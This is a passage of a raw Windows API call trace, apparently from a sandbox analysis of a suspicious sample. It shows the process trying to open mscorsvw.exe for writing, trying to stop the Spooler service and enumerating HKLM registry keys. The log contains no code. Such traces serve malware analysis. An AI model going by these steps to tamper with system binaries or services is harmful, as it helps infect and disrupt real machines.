BaseAddress=0x21f1898) returned 1 [0259.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0259.886] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe43ab94, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfe43ab94, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x65bf4000, ftLastWriteTime.dwHighDateTime=0x1c9e95e, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0259.886] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.887] GetLastError () returned 0x20 [0259.887] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0259.887] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0259.887] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0259.887] OpenServiceW (hSCManager=0x803918, lpServiceName="Spooler", dwDesiredAccess=0x20) returned 0x8038a0 [0259.888] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x110, dwCurrentState=0x4, dwControlsAccepted=0xc1, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0259.888] GetLastError () returned 0x41b [0259.888] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0259.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0259.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0259.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0259.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0259.888] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0259.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0259.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0259.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0259.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0259.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.890] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.890] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0259.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0259.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.890] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.890] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0259.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0259.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0259.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0259.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0259.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0259.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1bf8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0259.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0259.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0259.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0259.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0259.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0259.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0259.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0259.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0259.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0259.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0259.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.893] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0259.893] RegCloseKey (hKey=0xc4) returned 0x0 [0259.893] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0259.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0259.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.893] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0259.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0259.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.894] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0259.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0259.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.894] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0259.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 